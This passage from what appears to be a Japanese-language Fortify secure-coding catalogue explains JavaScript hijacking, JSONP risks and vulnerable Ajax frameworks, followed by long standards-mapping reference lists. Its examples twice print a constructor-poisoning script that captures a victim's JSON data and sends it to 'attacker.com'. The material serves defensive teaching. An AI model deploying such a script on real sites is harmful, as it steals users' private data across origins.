[18] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[27] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[28] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.dataflow.javascript.javascript_hijacking
Abstract
機密データの転送のために JavaScript 表記を使用するアプリケーションは、JavaScript 乗っ取り攻撃に対して脆弱である可能性があり、権限のない攻撃者が機密データを読み取ることができるようになります。ブラウザの JavaScript エンジンが配列コンストラクタのポイズニングを許す場合、JavaScript 配列を盗まれる可能性があります。
Explanation
次の場合にアプリケーションは JavaScript 乗っ取り攻撃に対して脆弱となる可能性があります。
1) データ転送形式として JavaScript オブジェクトを使用する場合。
2) 機密データを扱う場合。JavaScript 乗っ取り攻撃はコード作成ミスの直接的な結果として発生するものではありません。そのため、Fortify Secure Coding Rulepacks では、HTTP レスポンスで JavaScript を生成する可能性があるコードを識別して、潜在的な JavaScript 乗っ取り攻撃の脆弱性に注意するよう呼び掛けています。

Web ブラウザでは、悪意ある Web サイトからユーザーを保護するために同一生成元ポリシーが強制されます。同一生成元ポリシーでは、JavaScript が Web ページのコンテンツにアクセスできるように、JavaScript および Web ページの両方が同じドメインを由来としていることが必要とされます。同一生成元ポリシーが適用されない場合、他の Web サイトからクライアントの証明書を使用して機密性の高い情報をロードして選び取り、攻撃者にこれらの情報を戻す JavaScript が悪意ある Web サイトによって仕組まれる可能性があります。JavaScript 乗っ取り攻撃により、Web アプリケーションが機密情報のやり取りに JavaScript を使用する場合に、攻撃者は 同一生成元ポリシーを回避することが可能となります。同一生成元ポリシーに抜け穴があると、任意の Web サイトの JavaScript が追加され他の Web サイトのコンテンツが実行されることになります。悪意あるサイトはクライアント上の脆弱なサイトからロードされたデータを直接調べることはできませんが、JavaScript の実行やその実行によって引き起こされる副次的な状況を把握できる環境を整えるという方法で、この抜け穴を利用することができます。多くの Web 2.0 アプリケーションはデータ転送メカニズムとして JavaScript を使用しているため、脆弱となるケースが多くなっています (通常の Web アプリケーションは脆弱ではありません)。

JavaScript で情報をやり取りする場合の最も一般的な形式は JavaScript Object Notation (JSON) です。JSON RFC により、JSON 構文は JavaScript オブジェクトリテラル構文のサブセットとして定義されています。JSON は、配列とオブジェクトの 2 種類のデータ構造に基づいています。メッセージを 1 つ以上の有効な JavaScript ステートメントとして解釈することができるあらゆるデータ転送形式は、JavaScript 乗っ取り攻撃に対して脆弱です。JSON 配列は有効な JavaScript ステートメントとして独立しているため、JSON では JavaScript 乗っ取り攻撃を受けやすくなります。配列はリストをやり取りする場合に最も一般的に使用される形式であるため、アプリケーションが複数の値をやり取りする必要がある場合には頻繁に使用されます。言い換えれば、JSON 配列は JavaScript 乗っ取り攻撃に対して直接脆弱となっています。JSON オブジェクトは有効な JavaScript ステートメントとして独立している別の JavaScript 構造体にラップされる場合にのみ、脆弱となります。

例 1: 次の例ではまず、有益な顧客リストを管理するために使用される Web アプリケーションのクライアント コンポーネントおよびサーバー コンポーネント間における正規の JSON の相互処理について示します。次に、攻撃者がクライアントになりすまし、サーバーが返す機密データにアクセスする方法を示します。この例は Mozilla ベースのブラウザについて記述したものです。他の主要なブラウザでは、新しい演算子を使用せずにオブジェクトが作成される場合にネイティブ構造体は上書きできなくなっています。

クライアントはサーバーからデータをリクエストして、次のコードで JSON として結果を評価します。


var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);


このコードが実行されると、次のような HTTP リクエストが生成されます。


GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR


(この HTTP レスポンスおよび後続のコードでは、この説明に直接関係のない HTTP ヘッダーは省略されています。)
サーバーは JSON 形式の配列を使用してレスポンスします。


HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]


この場合、JSON には現在のユーザーに関する機密情報 (有益な顧客リスト) が含まれています。このユーザーのセッション ID を把握していない場合、他のユーザーはこの情報にはアクセスできません(最近の Web アプリケーションは、セッション ID は cookie として保存されます)。しかし、ユーザー (被害者) が悪意ある Web サイトにアクセスすると、この悪意あるサイトは JavaScript 乗っ取り攻撃によりこの情報を取得することが可能となります。ユーザーが以下のような悪意あるコードが含む Web ページにアクセスするように仕組まれる場合、この被害者の顧客リストが攻撃者の Web サイトに送信されてしまいます。


<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}

// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>


この悪意あるコードでは、現在のページに JSON オブジェクトを追加するためにスクリプトタグが使用されています。Web ブラウザは、リクエストと共に適切なセッション cookie を送信します。言い換えると、このリクエストは正規のアプリケーションから出されたものとして処理されます。

JSON 配列がこのクライアントに到着すると、悪意あるページのコンテキストで評価されます。JSON の評価を見るために、悪意あるページでは新しいオブジェクトを作成するようにこの JavaScript 関数が再定義されています。このように、悪意あるコードにより仕掛けが挿入され、作成された各オブジェクトにアクセスされオブジェクトのコンテンツが悪意あるサイトへ転送されるようになります。また、他の攻撃により配列のデフォルトの構造体が上書きされる場合もあります。マッシュアップでの使用を目的としてビルドされているアプリケーションは、各 JavaScript メッセージの最後でコールバック関数を呼び出すことがあります。このコールバック関数は、マッシュアップにおける他のアプリケーションにより定義されるようになっています。このコールバック関数の存在が JavaScript 乗っ取り攻撃の実行を容易にしています。攻撃者が実行する必要があるのは、関数を定義することだけです。アプリケーションはマッシュアップ対応にすることもできます。また、セキュリティを重視するようにすることもできますが、それらを両立することはできません。脆弱なサイト ユーザーがログインすると、攻撃者はユーザーにログインするように求め、次にアプリケーションの正規のログイン ページを表示することで、この攻撃を行うことができます。

攻撃者はユーザーの認証情報にはアクセスできませんので、これはフィッシング攻撃ではありません。そのため、フィッシング攻撃への対応策では、この攻撃を防ぐことはできません。さらに複雑な攻撃では、動的にスクリプトタグを生成する JavaScript を使用し、アプリケーションに対して一連のリクエストを行うことが可能です。これと同じ手法はアプリケーションマッシュアップを作成するために使用されます。このマッシュアップシナリオにおける唯一の相違点は、関連付けられるアプリケーションの 1 つが悪意あるものであることです。

例 2: 次のコードは、JSON 配列の形式で機密データを含む JSON レスポンスを送信するサンプル Django 表示メソッドです。


from django.http.response import JsonResponse
...
def handle_upload(request):
response = JsonResponse(sensitive_data, safe=False) # Sensitive data is stored in a list
return response
References
[1] B. Chess, Y. O'Neil, and J. West JavaScript Hijacking
[2] Joe Walker JSON is not as safe as people think it is
[3] Jeremiah Grossman Advanced Web Attack Techniques using GMail
[4] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1.0
[5] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[6] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 2.0
[7] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 7
[8] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[10] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[13] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[14] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[28] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[29] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.structural.python.javascript_hijacking_constructor_poisoning
Abstract
JSONP は安全でない通信技術であり、個人データや機密データが含まれず、コールバック関数の不要な部分を削除する場合にのみ使うようにする必要があります。
Explanation
JSONP は、設計上クロスドメインリクエストの実行を許可しますが、リクエスト元を制限および検証するための仕組みは用意されていません。悪意あるサイトがユーザーになりすまして簡単に JSONP リクエストを実行し、JSON レスポンスを処理することが可能です。このため、PII または機密データが送信されるときには、この通信技術を使用しないことを強く推奨します。
JSONP は、JSON の適切な処理のために要求側サイトにコールバック関数名を反映する必要があるため、XSS 攻撃を自ら招くように設計されています。JavaScript インジェクションを回避するために、コールバック関数名を検証し、不要な部分を削除する必要があります。コールバック関数名の不要な部分を削除するためには、可能な場合は許可リストの導入を検討するか、文字を英数字のみに制限します。
References
[1] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1.0
[2] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[3] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 2.0
[4] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 7
[5] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[6] Standards Mapping - Common Weakness Enumeration CWE ID 346
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[8] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[10] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[11] Standards Mapping - OWASP Top 10 2021 A07 Identification and Authentication Failures
[12] Standards Mapping - OWASP Application Security Verification Standard 4.0 3.5.3 Token-based Session Management (L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 14.5.2 Validate HTTP Request Header Requirements (L1 L2 L3), 14.5.3 Validate HTTP Request Header Requirements (L1 L2 L3)
[13] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[14] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[28] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[29] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.semantic.dotnet.javascript_hijacking_jsonp
Abstract
JSONP は安全でない通信技術であり、個人データや機密データが含まれていない場合にのみ使うようにする必要があります。
Explanation
JSONP は、設計上クロスドメインリクエストの実行を許可しますが、リクエスト元を制限および検証するための仕組みは用意されていません。 悪意あるサイトがユーザーになりすまして簡単に JSONP リクエストを実行し、JSON レスポンスを処理することが可能です。 このため、PII または機密データが送信されるときには、この通信技術を使用しないことを強く推奨します。
References
[1] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1.0
[2] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[3] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 2.0
[4] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 7
[5] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[6] Standards Mapping - Common Weakness Enumeration CWE ID 346
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[8] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[10] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[11] Standards Mapping - OWASP Top 10 2021 A07 Identification and Authentication Failures
[12] Standards Mapping - OWASP Application Security Verification Standard 4.0 3.5.3 Token-based Session Management (L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 14.5.2 Validate HTTP Request Header Requirements (L1 L2 L3), 14.5.3 Validate HTTP Request Header Requirements (L1 L2 L3)
[13] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[14] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[28] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[29] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.structural.scala.javascript_hijacking_jsonp
Abstract
Microsoft AJAX.NET (Atlas) を利用するアプリケーションは、JavaScript 乗っ取り攻撃に対して脆弱である可能性があり、権限のない攻撃者が機密データを読み取ることができるようになります。
Explanation
Microsoft AJAX.NET (Atlas) は JSON を使用してサーバーとクライアント間でデータを転送します。このフレームワークは、<script> タグを使用して評価される有効な JavaScript から構成されるレスポンスを生成するため、JavaScript 乗っ取り攻撃に対して脆弱となります [1]。既定では、このフレームワークは POST メソッドを使用してリクエストを送信します。そのため、悪意ある <script> タグからリクエストを生成することは困難です (<script> タグは GET リクエストのみを生成するため)。しかし、Microsoft AJAX.NET では、GET リクエストを使用するメカニズムが利用できるようになっています。実際、多くの専門家が、ブラウザのキャッシュ機能を活用してパフォーマンスを向上するために GET リクエストを使用することをプログラマに対して奨励しています。

アプリケーションは、データ転送形式として JavaScript オブジェクトを使用する場合、および機密データを扱う場合に、JavaScript 乗っ取り攻撃に対して脆弱となる可能性があります。JavaScript 乗っ取り攻撃はコード作成ミスの直接的な結果として発生するものではありません。そのため、Fortify Secure Coding Rulepacks では、HTTP レスポンスで JavaScript を生成する可能性があるコードを識別して、潜在的な JavaScript 乗っ取り攻撃の脆弱性に注意するよう呼び掛けています。

Web ブラウザでは、悪意ある Web サイトからユーザーを保護するために同一生成元ポリシーが強制されます。同一生成元ポリシーでは、JavaScript が Web ページのコンテンツにアクセスできるように、JavaScript および Web ページの両方が同じドメインを由来としていることが必要とされます。同一生成元ポリシーが適用されない場合、他の Web サイトからクライアントの証明書を使用して機密性の高い情報をロードして選び取り、攻撃者にこれらの情報を戻す JavaScript が悪意ある Web サイトによって仕組まれる可能性があります。JavaScript 乗っ取り攻撃により、Web アプリケーションが機密情報のやり取りに JavaScript を使用する場合に、攻撃者は 同一生成元ポリシーを回避することが可能となります。同一生成元ポリシーに抜け穴があると、任意の Web サイトの JavaScript が追加され他の Web サイトのコンテンツが実行されることになります。悪意あるサイトはクライアント上の脆弱なサイトからロードされたデータを直接調べることはできませんが、JavaScript の実行やその実行によって引き起こされる副次的な状況を把握できる環境を整えるという方法で、この抜け穴を利用することができます。多くの Web 2.0 アプリケーションはデータ転送メカニズムとして JavaScript を使用しているため、脆弱となるケースが多くなっています (通常の Web アプリケーションは脆弱ではありません)。

JavaScript で情報をやり取りする場合の最も一般的な形式は JavaScript Object Notation (JSON) です。JSON RFC により、JSON 構文は JavaScript オブジェクトリテラル構文のサブセットとして定義されています。JSON は、配列とオブジェクトの 2 種類のデータ構造に基づいています。メッセージを 1 つ以上の有効な JavaScript ステートメントとして解釈することができるあらゆるデータ転送形式は、JavaScript 乗っ取り攻撃に対して脆弱です。JSON 配列は有効な JavaScript ステートメントとして独立しているため、JSON では JavaScript 乗っ取り攻撃を受けやすくなります。配列はリストをやり取りする場合に最も一般的に使用される形式であるため、アプリケーションが複数の値をやり取りする必要がある場合には頻繁に使用されます。言い換えれば、JSON 配列は JavaScript 乗っ取り攻撃に対して直接脆弱となっています。JSON オブジェクトは有効な JavaScript ステートメントとして独立している別の JavaScript 構造体にラップされる場合にのみ、脆弱となります。

例 1: 次の例ではまず、有益な顧客リストを管理するために使用される Web アプリケーションのクライアント コンポーネントおよびサーバー コンポーネント間における正規の JSON の相互処理について示します。次に、攻撃者がクライアントになりすまし、サーバーが返す機密データにアクセスする方法を示します。この例は Mozilla ベースのブラウザについて記述したものです。他の主要なブラウザでは、新しい演算子を使用せずにオブジェクトが作成される場合にネイティブ構造体は上書きできなくなっています。

クライアントはサーバーからデータをリクエストして、次のコードで JSON として結果を評価します。


var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);


このコードが実行されると、次のような HTTP リクエストが生成されます。


GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR


(この HTTP レスポンスおよび後続のコードでは、この説明に直接関係のない HTTP ヘッダーは省略されています。)
サーバーは JSON 形式の配列を使用してレスポンスします。


HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]


この場合、JSON には現在のユーザーに関する機密情報 (有益な顧客リスト) が含まれています。このユーザーのセッション ID を把握していない場合、他のユーザーはこの情報にはアクセスできません(最近の Web アプリケーションは、セッション ID は cookie として保存されます)。しかし、ユーザー (被害者) が悪意ある Web サイトにアクセスすると、この悪意あるサイトは JavaScript 乗っ取り攻撃によりこの情報を取得することが可能となります。ユーザーが以下のような悪意あるコードが含む Web ページにアクセスするように仕組まれる場合、この被害者の顧客リストが攻撃者の Web サイトに送信されてしまいます。


<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}

// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>


この悪意あるコードでは、現在のページに JSON オブジェクトを追加するためにスクリプトタグが使用されています。Web ブラウザは、リクエストと共に適切なセッション cookie を送信します。言い換えると、このリクエストは正規のアプリケーションから出されたものとして処理されます。

JSON 配列がこのクライアントに到着すると、悪意あるページのコンテキストで評価されます。JSON の評価を見るために、悪意あるページでは新しいオブジェクトを作成するようにこの JavaScript 関数が再定義されています。このように、悪意あるコードにより仕掛けが挿入され、作成された各オブジェクトにアクセスされオブジェクトのコンテンツが悪意あるサイトへ転送されるようになります。また、他の攻撃により配列のデフォルトの構造体が上書きされる場合もあります。マッシュアップでの使用を目的としてビルドされているアプリケーションは、各 JavaScript メッセージの最後でコールバック関数を呼び出すことがあります。このコールバック関数は、マッシュアップにおける他のアプリケーションにより定義されるようになっています。このコールバック関数の存在が JavaScript 乗っ取り攻撃の実行を容易にしています。攻撃者が実行する必要があるのは、関数を定義することだけです。アプリケーションはマッシュアップ対応にすることもできます。また、セキュリティを重視するようにすることもできますが、それらを両立することはできません。脆弱なサイト ユーザーがログインすると、攻撃者はユーザーにログインするように求め、次にアプリケーションの正規のログイン ページを表示することで、この攻撃を行うことができます。

攻撃者はユーザーの認証情報にはアクセスできませんので、これはフィッシング攻撃ではありません。そのため、フィッシング攻撃への対応策では、この攻撃を防ぐことはできません。さらに複雑な攻撃では、動的にスクリプトタグを生成する JavaScript を使用し、アプリケーションに対して一連のリクエストを行うことが可能です。これと同じ手法はアプリケーションマッシュアップを作成するために使用されます。このマッシュアップシナリオにおける唯一の相違点は、関連付けられるアプリケーションの 1 つが悪意あるものであることです。
References
[1] B. Chess, Y. O'Neil, and J. West JavaScript Hijacking
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1.0
[3] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 2.0
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 12
[6] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[8] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[10] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[11] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[12] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[26] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[27] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.semantic.dotnet.javascript_hijacking_vulnerable_framework
Abstract
Google Web Toolkit (GTW) Ajax フレームワークを利用するアプリケーションは、JavaScript 乗っ取り攻撃に対して脆弱である可能性があり、権限のない攻撃者が機密データを読み取ることができるようになります。
Explanation
GWT は JSON を使用してサーバーとクライアント間でデータを転送します。このフレームワークは、<script> タグを使用して評価される有効な JavaScript から構成されるレスポンスを生成するため、JavaScript 乗っ取り攻撃に対して脆弱となります [1]。既定では、このフレームワークは POST メソッドを使用してリクエストを送信します。そのため、悪意ある <script> タグからリクエストを生成することは困難です (<script> タグは GET リクエストのみを生成するため)。しかし、GWT では、GET リクエストを使用するメカニズムが利用できるようになっています。実際、多くの専門家が、ブラウザのキャッシュ機能を活用してパフォーマンスを向上するために GET リクエストを使用することをプログラマに対して奨励しています。

アプリケーションは、データ転送形式として JavaScript オブジェクトを使用する場合、および機密データを扱う場合に、JavaScript 乗っ取り攻撃に対して脆弱となる可能性があります。JavaScript 乗っ取り攻撃はコード作成ミスの直接的な結果として発生するものではありません。そのため、Fortify Secure Coding Rulepacks では、HTTP レスポンスで JavaScript を生成する可能性があるコードを識別して、潜在的な JavaScript 乗っ取り攻撃の脆弱性に注意するよう呼び掛けています。

Web ブラウザでは、悪意ある Web サイトからユーザーを保護するために同一生成元ポリシーが強制されます。同一生成元ポリシーでは、JavaScript が Web ページのコンテンツにアクセスできるように、JavaScript および Web ページの両方が同じドメインを由来としていることが必要とされます。同一生成元ポリシーが適用されない場合、他の Web サイトからクライアントの証明書を使用して機密性の高い情報をロードして選び取り、攻撃者にこれらの情報を戻す JavaScript が悪意ある Web サイトによって仕組まれる可能性があります。JavaScript 乗っ取り攻撃により、Web アプリケーションが機密情報のやり取りに JavaScript を使用する場合に、攻撃者は 同一生成元ポリシーを回避することが可能となります。同一生成元ポリシーに抜け穴があると、任意の Web サイトの JavaScript が追加され他の Web サイトのコンテンツが実行されることになります。悪意あるサイトはクライアント上の脆弱なサイトからロードされたデータを直接調べることはできませんが、JavaScript の実行やその実行によって引き起こされる副次的な状況を把握できる環境を整えるという方法で、この抜け穴を利用することができます。多くの Web 2.0 アプリケーションはデータ転送メカニズムとして JavaScript を使用しているため、脆弱となるケースが多くなっています (通常の Web アプリケーションは脆弱ではありません)。

JavaScript で情報をやり取りする場合の最も一般的な形式は JavaScript Object Notation (JSON) です。JSON RFC により、JSON 構文は JavaScript オブジェクトリテラル構文のサブセットとして定義されています。JSON は、配列とオブジェクトの 2 種類のデータ構造に基づいています。メッセージを 1 つ以上の有効な JavaScript ステートメントとして解釈することができるあらゆるデータ転送形式は、JavaScript 乗っ取り攻撃に対して脆弱です。JSON 配列は有効な JavaScript ステートメントとして独立しているため、JSON では JavaScript 乗っ取り攻撃を受けやすくなります。配列はリストをやり取りする場合に最も一般的に使用される形式であるため、アプリケーションが複数の値をやり取りする必要がある場合には頻繁に使用されます。言い換えれば、JSON 配列は JavaScript 乗っ取り攻撃に対して直接脆弱となっています。JSON オブジェクトは有効な JavaScript ステートメントとして独立している別の JavaScript 構造体にラップされる場合にのみ、脆弱となります。

例 1: 次の例ではまず、有益な顧客リストを管理するために使用される Web アプリケーションのクライアント コンポーネントおよびサーバー コンポーネント間における正規の JSON の相互処理について示します。次に、攻撃者がクライアントになりすまし、サーバーが返す機密データにアクセスする方法を示します。この例は Mozilla ベースのブラウザについて記述したものです。他の主要なブラウザでは、新しい演算子を使用せずにオブジェクトが作成される場合にネイティブ構造体は上書きできなくなっています。

クライアントはサーバーからデータをリクエストして、次のコードで JSON として結果を評価します。


var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
